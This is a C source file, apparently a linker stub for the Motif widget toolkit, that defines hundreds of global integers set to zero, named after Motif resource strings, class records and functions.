int _XmSbuttonMnemonics = 0;
int _XmSbuttons = 0;
int _XmSbuttonSet = 0;
int _XmSbuttonType = 0;
int _XmSCAccelerator = 0;
int _XmSCAcceleratorText = 0;
int _XmSCAdjustLast = 0;
int _XmSCAdjustMargin = 0;
int xmScaleClassRec = 0;
int _XmScaleGetTitleString = 0;
int XmScaleGetValue = 0;
int XmScaleSetTicks = 0;
int XmScaleSetValue = 0;
int xmScaleWidgetClass = 0;
int _XmSCAlignment = 0;
int _XmSCAllowOverlap = 0;
int _XmScancelButton = 0;
int _XmScancelCallback = 0;
int _XmScancelLabelString = 0;
int _XmSCAnimationMask = 0;
int _XmSCAnimationPixmap = 0;
int _XmSCAnimationPixmapDepth = 0;
int _XmSCAnimationStyle = 0;
int _XmScanningCacheGet = 0;
int _XmScanningCacheSet = 0;
int _XmSCApplyLabelString = 0;
int _XmSCArmCallback = 0;
int _XmSCArmColor = 0;
int _XmSCArmPixmap = 0;
int _XmSCArrowDirection = 0;
int _XmScascadeButton = 0;
int _XmScascadePixmap = 0;
int _XmScascadingCallback = 0;
int _XmSCAtomList = 0;
int _XmSCAttachment = 0;
int _XmSCAudibleWarning = 0;
int _XmSCAutomaticSelection = 0;
int _XmSCAutoShowCursorPosition = 0;
int _XmSCAutoUnmanage = 0;
int _XmSCAvailability = 0;
int _XmSCBackgroundPixmap = 0;
int _XmSCBlendModel = 0;
int _XmSCBlinkRate = 0;
int _XmSCBooleanDimension = 0;
int _XmSCBottomShadowColor = 0;
int _XmSCBottomShadowPixmap = 0;
int _XmSCButtonAccelerators = 0;
int _XmSCButtonAcceleratorText = 0;
int _XmSCButtonCount = 0;
int _XmSCButtonFontList = 0;
int _XmSCButtonMnemonicCharSets = 0;
int _XmSCButtonMnemonics = 0;
int _XmSCButtons = 0;
int _XmSCButtonSet = 0;
int _XmSCButtonType = 0;
int _XmSCCallbackProc = 0;
int _XmSCCancelLabelString = 0;
int _XmSCChar = 0;
int _XmSCCharSetTable = 0;
int _XmSCChildHorizontalAlignment = 0;
int _XmSCChildHorizontalSpacing = 0;
int _XmSCChildPlacement = 0;
int _XmSCChildren = 0;
int _XmSCChildType = 0;
int _XmSCChildVerticalAlignment = 0;
int _XmSCClientData = 0;
int _XmSCClipWindow = 0;
int _XmSCColumns = 0;
int _XmSCCommandWindow = 0;
int _XmSCCommandWindowLocation = 0;
int _XmSCCompoundText = 0;
int _XmSCConvertProc = 0;
int _XmSCCursorBackground = 0;
int _XmSCCursorForeground = 0;
int _XmSCCursorPosition = 0;
int _XmSCCursorPositionVisible = 0;
int _XmSCDarkThreshold = 0;
int _XmSCDecimalPoints = 0;
int _XmSCDefaultButtonShadowThickness = 0;
int _XmSCDefaultButtonType = 0;
int _XmSCDefaultCopyCursorIcon = 0;
int _XmSCDefaultFontList = 0;
int _XmSCDefaultInvalidCursorIcon = 0;
int _XmSCDefaultLinkCursorIcon = 0;
int _XmSCDefaultMoveCursorIcon = 0;
int _XmSCDefaultNoneCursorIcon = 0;
int _XmSCDefaultPosition = 0;
int _XmSCDefaultSourceCursorIcon = 0;
int _XmSCDefaultValidCursorIcon = 0;
int _XmSCDeleteResponse = 0;
int _XmSCDesktopParent = 0;
int _XmSCDialogStyle = 0;
int _XmSCDialogTitle = 0;
int _XmSCDialogType = 0;
int _XmSCDirectory = 0;
int _XmSCDirectoryValid = 0;
int _XmSCDirListItemCount = 0;
int _XmSCDirListItems = 0;
int _XmSCDirListLabelString = 0;
int _XmSCDirMask = 0;
int _XmSCDirSearchProc = 0;
int _XmSCDirSpec = 0;
int _XmSCDisarmCallback = 0;
int _XmSCDoubleClickInterval = 0;
int _XmSCDragContextClass = 0;
int _XmSCDragDropFinishCallback = 0;
int _XmSCDragIconClass = 0;
int _XmSCDragInitiatorProtocolStyle = 0;
int _XmSCDragMotionCallback = 0;
int _XmSCDragOperations = 0;
int _XmSCDragOverMode = 0;
int _XmSCDragProc = 0;
int _XmSCDragReceiverProtocolStyle = 0;
int _XmSCDropProc = 0;
int _XmSCDropRectangles = 0;
int _XmSCDropSiteActivity = 0;
int _XmSCDropSiteEnterCallback = 0;
int _XmSCDropSiteLeaveCallback = 0;
int _XmSCDropSiteManagerClass = 0;
int _XmSCDropSiteOperations = 0;
int _XmSCDropSiteType = 0;
int _XmSCDropStartCallback = 0;
int _XmSCDropTransferClass = 0;
int _XmSCDropTransfers = 0;
int _XmSCEditable = 0;
int _XmSCEntryBorder = 0;
int _XmSCEntryClass = 0;
int _XmSCExportTargets = 0;
int _XmSCExposeCallback = 0;
int _XmSCExtensionType = 0;
int _XmSCFileListItemCount = 0;
int _XmSCFileListItems = 0;
int _XmSCFileListLabelString = 0;
int _XmSCFileSearchProc = 0;
int _XmSCFileTypeMask = 0;
int _XmSCFillOnArm = 0;
int _XmSCFillOnSelect = 0;
int _XmSCFilterLabelString = 0;
int _XmSCFontList = 0;
int _XmSCFONTLIST_DEFAULT_TAG_STRING = 0;
int _XmSCForegroundThreshold = 0;
int _XmSCGadgetPixmap = 0;
int _XmScheckButton = 0;
int _XmSCHelpLabelString = 0;
int _XmSCHighlightColor = 0;
int _XmSCHighlightOnEnter = 0;
int _XmSCHighlightPixmap = 0;
int _XmSCHighlightThickness = 0;
int _XmSchildHorizontalAlignment = 0;
int _XmSchildHorizontalSpacing = 0;
int _XmSchildPlacement = 0;
int _XmSchildPosition = 0;
int _XmSchildType = 0;
int _XmSchildVerticalAlignment = 0;
int _XmSCHorizontalDimension = 0;
int _XmSCHorizontalFontUnit = 0;
int _XmSCHorizontalInt = 0;
int _XmSCHorizontalPosition = 0;
int _XmSCHorizontalScrollBar = 0;
int _XmSCHot = 0;
int _XmSCICCHandle = 0;
int _XmSCIconAttachment = 0;
int _XmSCImportTargets = 0;
int _XmSCIncrement = 0;
int _XmSCIncremental = 0;
int _XmSCIndicatorOn = 0;
int _XmSCIndicatorSize = 0;
int _XmSCIndicatorType = 0;
int _XmSCInitialDelay = 0;
int _XmSCInitialFocus = 0;
int _XmSCInputCreate = 0;
int _XmSCInputMethod = 0;
int _XmSCInvalidCursorForeground = 0;
int _XmSCIsAligned = 0;
int _XmSCIsHomogeneous = 0;
int _XmSCISO8859_DASH_1 = 0;
int _XmSCItemCount = 0;
int _XmSCItems = 0;
int _XmSCKeyboardFocusPolicy = 0;
int _XmSCKeySym = 0;
int _XmSCKeySymTable = 0;
int _XmSCLabelFontList = 0;
int _XmSCLabelInsensitivePixmap = 0;
int _XmSCLabelPixmap = 0;
int _XmSCLabelString = 0;
int _XmSCLabelType = 0;
int _XmSclientData = 0;
int _XmSCLightThreshold = 0;
int _XmSclipWindow = 0;
int _XmSCListLabelString = 0;
int _XmSCListMarginHeight = 0;
int _XmSCListMarginWidth = 0;
int _XmSCListSizePolicy = 0;
int _XmSCListSpacing = 0;
int _XmSCListUpdated = 0;
int _XmSCLogicalParent = 0;
int _XmSCMainWindowMarginHeight = 0;
int _XmSCMainWindowMarginWidth = 0;
int _XmSCManBottomShadowPixmap = 0;
int _XmSCManForegroundPixmap = 0;
int _XmSCManHighlightPixmap = 0;
int _XmSCManTopShadowPixmap = 0;
int _XmSCMappingDelay = 0;
int _XmSCMarginBottom = 0;
int _XmSCMarginHeight = 0;
int _XmSCMarginLeft = 0;
int _XmSCMarginRight = 0;
int _XmSCMarginTop = 0;
int _XmSCMarginWidth = 0;
int _XmSCMask = 0;
int _XmSCMaximum = 0;
int _XmSCMaxItems = 0;
int _XmSCMaxLength = 0;
int _XmSCMaxValue = 0;
int _XmSCMenuBar = 0;
int _XmSCMenuPost = 0;
int _XmSCMenuWidget = 0;
int _XmSCMessageProc = 0;
int _XmSCMessageWindow = 0;
int _XmSCMinimizeButtons = 0;
int _XmSCMinimum = 0;
int _XmSCMnemonic = 0;
int _XmSCMnemonicCharSet = 0;
int _XmSCMoveOpaque = 0;
int _XmSCMultiClick = 0;
int _XmSCMustMatch = 0;
int _XmSCMwmDecorations = 0;
int _XmSCMwmFunctions = 0;
int _XmSCMwmInputMode = 0;
int _XmSCMwmMenu = 0;
int _XmSCMwmMessages = 0;
int _XmSCNavigationType = 0;
int _XmSCNeedsMotion = 0;
int _XmSCNoMatchString = 0;
int _XmSCNoneCursorForeground = 0;
int _XmSCNoResize = 0;
int _XmSCNotifyProc = 0;
int _XmSCNumChildren = 0;
int _XmSCNumColumns = 0;
int _XmSCNumDropRectangles = 0;
int _XmSCNumDropTransfers = 0;
int _XmSCNumExportTargets = 0;
int _XmSCNumImportTargets = 0;
int _XmSCOffset = 0;
int _XmSCOkLabelString = 0;
int _XmScolumns = 0;
int _XmScommand = 0;
int _XmScommandChangedCallback = 0;
int _XmScommandEnteredCallback = 0;
int _XmScommandWindow = 0;
int _XmScommandWindowLocation = 0;
int _XmSconvertProc = 0;
int _XmSCOperationChangedCallback = 0;
int _XmSCOperationCursorIcon = 0;
int _XmSCOptionLabel = 0;
int _XmSCOptionMnemonic = 0;
int _XmSCOutputCreate = 0;
int _XmSCPacking = 0;
int _XmSCPageIncrement = 0;
int _XmSCPaneMaximum = 0;
int _XmSCPaneMinimum = 0;
int _XmSCPattern = 0;
int _XmSCPendingDelete = 0;
int _XmSCPopupEnabled = 0;
int _XmSCPositionIndex = 0;
int _XmSCPostFromButton = 0;
int _XmSCPostFromCount = 0;
int _XmSCPostFromList = 0;
int _XmSCPreeditType = 0;
int _XmSCPrimForegroundPixmap = 0;
int _XmSCProc = 0;
int _XmSCProcessingDirection = 0;
int _XmSCPromptString = 0;
int _XmSCProtocolCallback = 0;
int _XmSCPushButtonEnabled = 0;
int _XmSCQualifySearchDataProc = 0;
int _XmSCRadioAlwaysOne = 0;
int _XmSCRadioBehavior = 0;
int _XmSCRecomputeSize = 0;
int _XmSCRectangleList = 0;
int _XmSCRectangles = 0;
int xmScreenClass = 0;
int xmScreenClassRec = 0;
int _XmScreenGetOperationIcon = 0;
int _XmScreenGetSourceIcon = 0;
int _XmScreenGetStateIcon = 0;
int xmScreenObjectClass = 0;
int _XmScreenRemoveFromCursorCache = 0;
int _XmSCRepeatDelay = 0;
int _XmSCResizeCallback = 0;
int _XmSCResizeHeight = 0;
int _XmSCResizePolicy = 0;
int _XmSCResizeWidth = 0;
int xmScrollBarClassRec = 0;
int _XmScrollBar_defaultTranslations = 0;
int XmScrollBarGetValues = 0;
int XmScrollBarSetValues = 0;
int xmScrollBarWidgetClass = 0;
int xmScrolledWindowClassRec = 0;
int XmScrolledWindowSetAreas = 0;
int xmScrolledWindowWidgetClass = 0;
int _XmScrolledW_ScrolledWindowXlations = 0;
int XmScrollVisible = 0;
int _XmSCRowColumnType = 0;
int _XmSCRows = 0;
int _XmSCRubberPositioning = 0;
int _XmSCSashHeight = 0;
int _XmSCSashIndent = 0;
int _XmSCSashWidth = 0;
int _XmSCScaleHeight = 0;
int _XmSCScaleMultiple = 0;
int _XmSCScaleWidth = 0;
int _XmSCScroll = 0;
int _XmSCScrollBarDisplayPolicy = 0;
int _XmSCScrollBarPlacement = 0;
int _XmSCScrolledWindowMarginHeight = 0;
int _XmSCScrolledWindowMarginWidth = 0;
int _XmSCScrollingPolicy = 0;
int _XmSCScrollSide = 0;
int _XmSCSelectColor = 0;
int _XmSCSelectedItemCount = 0;
int _XmSCSelectedItems = 0;
int _XmSCSelectInsensitivePixmap = 0;
int _XmSCSelectionArrayCount = 0;
int _XmSCSelectionLabelString = 0;
int _XmSCSelectionPolicy = 0;
int _XmSCSelectionType = 0;
int _XmSCSelectPixmap = 0;
int _XmSCSelectThreshold = 0;
int _XmSCSeparatorOn = 0;
int _XmSCSeparatorType = 0;
int _XmSCSet = 0;
int _XmSCShadowThickness = 0;
int _XmSCShadowType = 0;
int _XmSCShellHorizDim = 0;
int _XmSCShellHorizPos = 0;
int _XmSCShellUnitType = 0;
int _XmSCShellVertDim = 0;
int _XmSCShellVertPos = 0;
int _XmSCShowArrows = 0;
int _XmSCShowAsDefault = 0;
int _XmSCShowSeparator = 0;
int _XmSCShowValue = 0;
int _XmSCSimpleCheckBox = 0;
int _XmSCSimpleMenuBar = 0;
int _XmSCSimpleOptionMenu = 0;
int _XmSCSimplePopupMenu = 0;
int _XmSCSimplePulldownMenu = 0;
int _XmSCSimpleRadioBox = 0;
int _XmSCSizePolicy = 0;
int _XmSCSliderSize = 0;
int _XmSCSource = 0;
int _XmSCSourceCursorIcon = 0;
int _XmSCSourceIsExternal = 0;
int _XmSCSourcePixmapIcon = 0;
int _XmSCSourceWidget = 0;
int _XmSCSourceWindow = 0;
int _XmSCSpacing = 0;
int _XmSCStartTime = 0;
int _XmSCStateCursorIcon = 0;
int _XmSCStringDirection = 0;
int _XmSCTearOffModel = 0;
int _XmSCTextFontList = 0;
int _XmSCTextString = 0;
int _XmSCTextValue = 0;
int _XmSCTitleString = 0;
int _XmSCTopCharacter = 0;
int _XmSCTopItemPosition = 0;
int _XmSCTopLevelEnterCallback = 0;
int _XmSCTopLevelLeaveCallback = 0;
int _XmSCTopShadowColor = 0;
int _XmSCTopShadowPixmap = 0;
int _XmSCTransferProc = 0;
int _XmSCTransferStatus = 0;
int _XmSCTraversalOn = 0;
int _XmSCTraversalType = 0;
int _XmSCTreeUpdateProc = 0;
int _XmSCTroughColor = 0;
int _XmSCUnitType = 0;
int _XmSCUnpostBehavior = 0;
int _XmSCUnselectPixmap = 0;
int _XmSCUpdateSliderSize = 0;
int _XmScursorBackground = 0;
int _XmScursorForeground = 0;
int _XmScursorPosition = 0;
int _XmScursorPositionVisible = 0;
int _XmSCUseAsyncGeometry = 0;
int _XmSCUserData = 0;
int _XmSCValidCursorForeground = 0;
int _XmSCValueChangedCallback = 0;
int _XmSCValueWcs = 0;
int _XmSCVerifyBell = 0;
int _XmSCVerticalAlignment = 0;
int _XmSCVerticalDimension = 0;
int _XmSCVerticalFontUnit = 0;
int _XmSCVerticalInt = 0;
int _XmSCVerticalPosition = 0;
int _XmSCVerticalScrollBar = 0;
int _XmSCVirtualBinding = 0;
int _XmSCVisibleItemCount = 0;
int _XmSCVisibleWhenOff = 0;
int _XmSCVisualPolicy = 0;
int _XmSCWhichButton = 0;
int _XmSCWordWrap = 0;
int _XmSCWorkWindow = 0;
int _XmSCXmBackgroundPixmap = 0;
int _XmSCXmFONTLIST_DEFAULT_TAG_STRING = 0;
int _XmSCXmString = 0;
int _XmSCXmStringCharSet = 0;
int _XmSCXmStringTable = 0;
int _XmSdarkThreshold = 0;
int _XmSdecimalPoints = 0;
int _XmSdecrementCallback = 0;
int _XmSdefaultActionCallback = 0;
int _XmSDEFAULT_BACKGROUND = 0;
int _XmSdefaultButton = 0;
int _XmSdefaultButtonShadowThickness = 0;
int _XmSdefaultButtonType = 0;
int _XmSdefaultCopyCursorIcon = 0;
int _XmSDEFAULT_FONT = 0;
int _XmSdefaultFontList = 0;
int _XmSdefaultInvalidCursorIcon = 0;
int _XmSdefaultLinkCursorIcon = 0;
int _XmSdefaultMoveCursorIcon = 0;
int _XmSdefaultNoneCursorIcon = 0;
int _XmSdefaultPosition = 0;
int _XmSdefaultSourceCursorIcon = 0;
int _XmSdefaultValidCursorIcon = 0;
int _XmSdeleteResponse = 0;
int _XmSdesktopParent = 0;
int _XmSdialogStyle = 0;
int _XmSdialogTitle = 0;
int _XmSdialogType = 0;
int _XmSdirectory = 0;
int _XmSdirectoryValid = 0;
int _XmSdirListItemCount = 0;
int _XmSdirListItems = 0;
int _XmSdirListLabelString = 0;
int _XmSdirMask = 0;
int _XmSdirSearchProc = 0;
int _XmSdirSpec = 0;
int _XmSdisarmCallback = 0;
int _XmSdoubleClickInterval = 0;
int _XmSdoubleSeparator = 0;
int _XmSdragCallback = 0;
int _XmSdragContextClass = 0;
int _XmSdragDropFinishCallback = 0;
int _XmSdragIconClass = 0;
int _XmSdragInitiatorProtocolStyle = 0;
int _XmSdragMotionCallback = 0;
int _XmSdragOperations = 0;
int _XmSdragOverMode = 0;
int _XmSdragProc = 0;
int _XmSdragReceiverProtocolStyle = 0;
int _XmSdropFinishCallback = 0;
int _XmSdropProc = 0;
int _XmSdropRectangles = 0;
int _XmSdropSiteActivity = 0;
int _XmSdropSiteEnterCallback = 0;
int _XmSdropSiteLeaveCallback = 0;
int _XmSdropSiteManagerClass = 0;
int _XmSdropSiteOperations = 0;
int _XmSdropSiteType = 0;
int _XmSdropStartCallback = 0;
int _XmSdropTransferClass = 0;
int _XmSdropTransfers = 0;
int _XmSearchColorCache = 0;
int _XmSecondaryResourceData = 0;
int _XmSeditable = 0;
int _XmSeditMode = 0;
int _XmSelectColorDefault = 0;
int _XmSelectioB_defaultTextAccelerators = 0;
int xmSelectionBoxClassRec = 0;
int _XmSelectionBoxCreateApplyButton = 0;
int _XmSelectionBoxCreateCancelButton = 0;
int _XmSelectionBoxCreateHelpButton = 0;
int _XmSelectionBoxCreateList = 0;
int _XmSelectionBoxCreateListLabel = 0;
int _XmSelectionBoxCreateOkButton = 0;
int _XmSelectionBoxCreateSelectionLabel = 0;
int _XmSelectionBoxCreateSeparator = 0;
int _XmSelectionBoxCreateText = 0;
int _XmSelectionBoxGeoMatrixCreate = 0;
int _XmSelectionBoxGetApplyLabelString = 0;
int _XmSelectionBoxGetCancelLabelString = 0;
int XmSelectionBoxGetChild = 0;
int _XmSelectionBoxGetHelpLabelString = 0;
int _XmSelectionBoxGetListItemCount = 0;
int _XmSelectionBoxGetListItems = 0;
int _XmSelectionBoxGetListLabelString = 0;
int _XmSelectionBoxGetListVisibleItemCount = 0;
int _XmSelectionBoxGetOkLabelString = 0;
int _XmSelectionBoxGetSelectionLabelString = 0;
int _XmSelectionBoxGetTextColumns = 0;
int _XmSelectionBoxGetTextString = 0;
int _XmSelectionBoxNoGeoRequest = 0;
int _XmSelectionBoxRestore = 0;
int _XmSelectionBoxUpOrDown = 0;
int xmSelectionBoxWidgetClass = 0;
int _XmSEMPTY_STRING = 0;
int _XmSendICCCallback = 0;
int _XmSentryAlignment = 0;
int _XmSentryBorder = 0;
int _XmSentryCallback = 0;
int _XmSentryClass = 0;
int _XmSentryVerticalAlignment = 0;
int _XmSeparatorCacheCompare = 0;
int xmSeparatorClassRec = 0;
int _XmSeparatorFix = 0;
int xmSeparatorGadgetClass = 0;
int xmSeparatorGadgetClassRec = 0;
int xmSeparatorGCacheObjClassRec = 0;
int xmSeparatorWidgetClass = 0;
int _XmSetActiveTabGroup = 0;
int _XmSetActualClass = 0;
int XmSetColorCalculation = 0;
int _XmSetDefaultBackgroundColorSpec = 0;
int _XmSetDestination = 0;
int _XmSetDragReceiverInfo = 0;
int _XmSetEtchedSlider = 0;
int _XmSetFocusFlag = 0;
int _XmSetFocusResetFlag = 0;
int XmSetFontUnit = 0;
int XmSetFontUnits = 0;
int _XmSetInDragMode = 0;
int _XmSetInitialOfTabGraph = 0;
int _XmSetInitialOfTabGroup = 0;
int _XmSetKidGeo = 0;
int _XmSetLastManagedMenuTime = 0;
int XmSetMenuCursor = 0;
int _XmSetMenuTraversal = 0;
int _XmSetPopupMenuClick = 0;
int XmSetProtocolHooks = 0;
int _XmSetRect = 0;
int _XmSetSwallowEventHandler = 0;
int _XmSetThickness = 0;
int _XmSetThicknessDefault0 = 0;
int XmSetToolTipString = 0;
int _XmSetTransientFlag = 0;
int _XmSetValuesOnChildren = 0;
int _XmSetXmDisplayClass = 0;
int _XmSexportTargets = 0;
int _XmSexposeCallback = 0;
int _XmSextendedSelectionCallback = 0;
int _XmSextensionType = 0;
int _XmSFAddNavigator = 0;
int _XmSfileListItemCount = 0;
int _XmSfileListItems = 0;
int _XmSfileListLabelString = 0;
int _XmSfileSearchProc = 0;
int _XmSfileTypeMask = 0;
int _XmSfillOnArm = 0;
int _XmSfillOnSelect = 0;
int _XmSfilterLabelString = 0;
int _XmSfocusCallback = 0;
int _XmSfocusMovedCallback = 0;
int _XmSfocusPolicyChanged = 0;
int _XmSfontList = 0;
int _XmSforegroundThreshold = 0;
int _XmSfractionBase = 0;
int _XmSFRemoveNavigator = 0;
int _XmSFUpdateNavigatorsValue = 0;
int _XmSgainPrimaryCallback = 0;
int xmShellExtClassRec = 0;
int xmShellExtObjectClass = 0;
int _XmShellIsExclusive = 0;
int _XmShelpCallback = 0;
int _XmShelpLabelString = 0;
int _XmShighlightColor = 0;
int _XmShighlightOnEnter = 0;
int _XmShighlightPixmap = 0;
int _XmShighlightThickness = 0;
int _XmShistoryItemCount = 0;
int _XmShistoryItems = 0;
int _XmShistoryMaxItems = 0;
int _XmShistoryVisibleItemCount = 0;
int _XmShorizontalFontUnit = 0;
int _XmShorizontalScrollBar = 0;
int _XmShorizontalSpacing = 0;
int _XmShotX = 0;
int _XmShotY = 0;
int _XmSiccHandle = 0;
int XmSimpleSpinBoxAddItem = 0;
int xmSimpleSpinBoxClassRec = 0;
int XmSimpleSpinBoxDeletePos = 0;
int XmSimpleSpinBoxSetItem = 0;
int xmSimpleSpinBoxWidgetClass = 0;
int _XmSimportTargets = 0;
int _XmSincrement = 0;
int _XmSincremental = 0;
int _XmSincrementCallback = 0;
int _XmSindicatorOn = 0;
int _XmSindicatorSize = 0;
int _XmSindicatorType = 0;
int _XmSinitialDelay = 0;
int _XmSinitialFocus = 0;
int _XmSinputCallback = 0;
int _XmSinputCreate = 0;
int _XmSinputMethod = 0;
int _XmSinvalidCursorForeground = 0;
int _XmSisAligned = 0;
int _XmSisHomogeneous = 0;
int _XmSitemCount = 0;
int _XmSitems = 0;
int _XmSkeyboardFocusPolicy = 0;
int _XmSlabelFontList = 0;
int _XmSlabelInsensitivePixmap = 0;
int _XmSlabelPixmap = 0;
int _XmSlabelString = 0;
int _XmSlabelType = 0;
int _XmSleep = 0;
int _XmSleftAttachment = 0;
int _XmSleftOffset = 0;
int _XmSleftPosition = 0;
int _XmSleftWidget = 0;
int xmSlideContextClassRec = 0;
int xmSlideContextWidgetClass = 0;
int _XmSlightThreshold = 0;
int _XmSlistItemCount = 0;
int _XmSlistItems = 0;
int _XmSlistLabelString = 0;
int _XmSlistMarginHeight = 0;
int _XmSlistMarginWidth = 0;
int _XmSlistSizePolicy = 0;
int _XmSlistSpacing = 0;
int _XmSlistUpdated = 0;
int _XmSlistVisibleItemCount = 0;
int _XmSlogicalParent = 0;
int _XmSlosePrimaryCallback = 0;
int _XmSlosingFocusCallback = 0;
int _XmSmainWindowMarginHeight = 0;
int _XmSmainWindowMarginWidth = 0;
int _XmSmapCallback = 0;
int _XmSmappingDelay = 0;
int _XmSmargin = 0;
int _XmSmarginBottom = 0;
int _XmSmarginHeight = 0;
int _XmSmarginLeft = 0;
int _XmSmarginRight = 0;
int _XmSmarginTop = 0;
int _XmSmarginWidth = 0;
int _XmSmask = 0;
int _XmSmaximum = 0;
int _XmSmaxLength = 0;
int _XmSmenuAccelerator = 0;
int _XmSmenuBar = 0;
int _XmSmenuCursor = 0;
int _XmSmenuHelpWidget = 0;
int _XmSmenuHistory = 0;
int _XmSmenuPost = 0;
int _XmSmessageAlignment = 0;
int _XmSmessageProc = 0;
int _XmSmessageString = 0;
int _XmSmessageWindow = 0;
int _XmSminimizeButtons = 0;
int _XmSminimum = 0;
int _XmSmnemonic = 0;
int _XmSmnemonicCharSet = 0;
int _XmSmodifyVerifyCallback = 0;
int _XmSmodifyVerifyCallbackWcs = 0;
int _XmSmotionVerifyCallback = 0;
int _XmSmoveOpaque = 0;
int _XmSmultiClick = 0;
int _XmSmultipleSelectionCallback = 0;
int _XmSmustMatch = 0;
int _XmSmwmDecorations = 0;
int _XmSmwmFunctions = 0;
int _XmSmwmInputMode = 0;
int _XmSmwmMenu = 0;
int _XmSmwmMessages = 0;
int _XmSnavigationType = 0;
int _XmSneedsMotion = 0;
int _XmSnoMatchCallback = 0;
int _XmSnoMatchString = 0;
int _XmSnoneCursorForeground = 0;
int _XmSnoResize = 0;
int _XmSnotifyProc = 0;
int _XmSnumColumns = 0;
int _XmSnumDropRectangles = 0;
int _XmSnumDropTransfers = 0;
int _XmSnumExportTargets = 0;
int _XmSnumImportTargets = 0;
int _XmSnumRectangles = 0;
int _XmSocorro = 0;
int _XmSoffsetX = 0;
int _XmSoffsetY = 0;
int _XmSokCallback = 0;
int _XmSokLabelString = 0;
int _XmSoperationChangedCallback = 0;
int _XmSoperationCursorIcon = 0;
int _XmSoptionLabel = 0;
int _XmSoptionMnemonic = 0;
int _XmSortResourceList = 0;
int _XmSosfActivate = 0;
int _XmSosfAddMode = 0;
int _XmSosfBackSpace = 0;
int _XmSosfBeginLine = 0;
int _XmSosfCancel = 0;
int _XmSosfClear = 0;
int _XmSosfCopy = 0;
int _XmSosfCut = 0;
int _XmSosfDelete = 0;
int _XmSosfDown = 0;
int _XmSosfEndLine = 0;
int _XmSosfHelp = 0;
int _XmSosfInsert = 0;
int _XmSosfLeft = 0;
int _XmSosfMenu = 0;
int _XmSosfMenuBar = 0;
int _XmSosfPageDown = 0;
int _XmSosfPageLeft = 0;
int _XmSosfPageRight = 0;
int _XmSosfPageUp = 0;
int _XmSosfPaste = 0;
int _XmSosfPrimaryPaste = 0;
int _XmSosfQuickPaste = 0;
int _XmSosfRight = 0;
int _XmSosfSelect = 0;
int _XmSosfUndo = 0;
int _XmSosfUp = 0;
int _XmSoutputCreate = 0;
int _XmSpacking = 0;
int _XmSpageDecrementCallback = 0;
int _XmSpageIncrement = 0;
int _XmSpageIncrementCallback = 0;
int _XmSpaneMaximum = 0;
int _XmSpaneMinimum = 0;
int _XmSpattern = 0;
int _XmSpendingDelete = 0;
int _XmSpinB_defaultAccelerators = 0;
int _XmSpinB_defaultTranslations = 0;
int xmSpinBoxClassRec = 0;
int XmSpinBoxValidatePosition = 0;
int xmSpinBoxWidgetClass = 0;
int _XmSpopupEnabled = 0;
int _XmSpositionIndex = 0;
int _XmSpostFromButton = 0;
int _XmSpostFromCount = 0;
int _XmSpostFromList = 0;
int _XmSpreeditType = 0;
int _XmSprocessingDirection = 0;
int _XmSpromptString = 0;
int _XmSprotocolCallback = 0;
int _XmSpushButton = 0;
int _XmSpushButtonEnabled = 0;
int _XmSqualifySearchDataProc = 0;
int _XmSradioAlwaysOne = 0;
int _XmSradioBehavior = 0;
int _XmSradioButton = 0;
int _XmSrealizeCallback = 0;
int _XmSrecomputeSize = 0;
int _XmSrectangles = 0;
int _XmSrefigureMode = 0;
int _XmSrepeatDelay = 0;
int _XmSresizable = 0;
int _XmSresizeCallback = 0;
int _XmSresizeHeight = 0;
int _XmSresizePolicy = 0;
int _XmSresizeWidth = 0;
int _XmSrightAttachment = 0;
int _XmSrightOffset = 0;
int _XmSrightPosition = 0;
int _XmSrightWidget = 0;
int _XmSrowColumnType = 0;
int _XmSrows = 0;
int _XmSrubberPositioning = 0;
int _XmSsashHeight = 0;
int _XmSsashIndent = 0;
int _XmSsashShadowThickness = 0;
int _XmSsashWidth = 0;
int _XmSscaleHeight = 0;
int _XmSscaleMultiple = 0;
int _XmSscaleWidth = 0;
int _XmSscrollBarDisplayPolicy = 0;
int _XmSscrollBarPlacement = 0;
int _XmSscrolledWindowMarginHeight = 0;
int _XmSscrolledWindowMarginWidth = 0;
int _XmSscrollHorizontal = 0;
int _XmSscrollingPolicy = 0;
int _XmSscrollLeftSide = 0;
int _XmSscrollTopSide = 0;
int _XmSscrollVertical = 0;
int _XmSselectColor = 0;
int _XmSselectedItemCount = 0;
int _XmSselectedItems = 0;
int _XmSselectInsensitivePixmap = 0;
int _XmSselectionArrayCount = 0;
int _XmSselectionLabelString = 0;
int _XmSselectionPolicy = 0;
int _XmSselectPixmap = 0;
int _XmSselectThreshold = 0;
int _XmSseparator = 0;
int _XmSseparatorOn = 0;
int _XmSseparatorType = 0;
int _XmSset = 0;
int _XmSshadow = 0;
int _XmSshadowThickness = 0;
int _XmSshadowType = 0;
int _XmSshellUnitType = 0;
int _XmSshowArrows = 0;
int _XmSshowAsDefault = 0;
int _XmSshowSeparator = 0;
int _XmSshowValue = 0;
int _XmSsimpleCallback = 0;
int _XmSsingleSelectionCallback = 0;
int _XmSsingleSeparator = 0;
int _XmSsizePolicy = 0;
int _XmSskipAdjust = 0;
int _XmSsliderSize = 0;
int _XmSsource = 0;
int _XmSsourceCursorIcon = 0;
int _XmSsourceIsExternal = 0;
int _XmSsourcePixmapIcon = 0;
int _XmSsourceWidget = 0;
int _XmSsourceWindow = 0;
int _XmSspacing = 0;
int _XmSstartTime = 0;
int _XmSstateCursorIcon = 0;
int _XmSstringDirection = 0;
int _XmSsubMenuId = 0;
int _XmSsymbolPixmap = 0;
int _XmStackFree = 0;
int _XmStackInit = 0;
int _XmStackPop = 0;
int _XmStackPush = 0;
int xm_std_constraint_filter = 0;
int xm_std_filter = 0;
int _XmStearOffMenuActivateCallback = 0;
int _XmStearOffMenuDeactivateCallback = 0;
int _XmStearOffModel = 0;
int _XmStextAccelerators = 0;
int _XmStextColumns = 0;
int _XmStextFontList = 0;
int _XmStextString = 0;
int _XmStextTranslations = 0;
int _XmStextValue = 0;
int _XmStitleString = 0;
int _XmStoBottomCallback = 0;
int _XmStopAttachment = 0;
int _XmStopCharacter = 0;
int _XmStopItemPosition = 0;
int _XmStopLevelEnterCallback = 0;
int _XmStopLevelLeaveCallback = 0;
int _XmStopOffset = 0;
int _XmStoPositionCallback = 0;
int _XmStopPosition = 0;
int _XmStopShadowColor = 0;
int _XmStopShadowPixmap = 0;
int _XmStopWidget = 0;
int _XmStoTopCallback = 0;
int _XmStransferProc = 0;
int _XmStransferStatus = 0;
int _XmStraversalCallback = 0;
int _XmStraversalOn = 0;
int _XmStraversalType = 0;
int _XmStraverseObscuredCallback = 0;
int _XmStreeUpdateProc = 0;
int _XmStringBaseline = 0;
int XmStringBaseline = 0;
int _XmStringByteCompare = 0;
int XmStringByteCompare = 0;
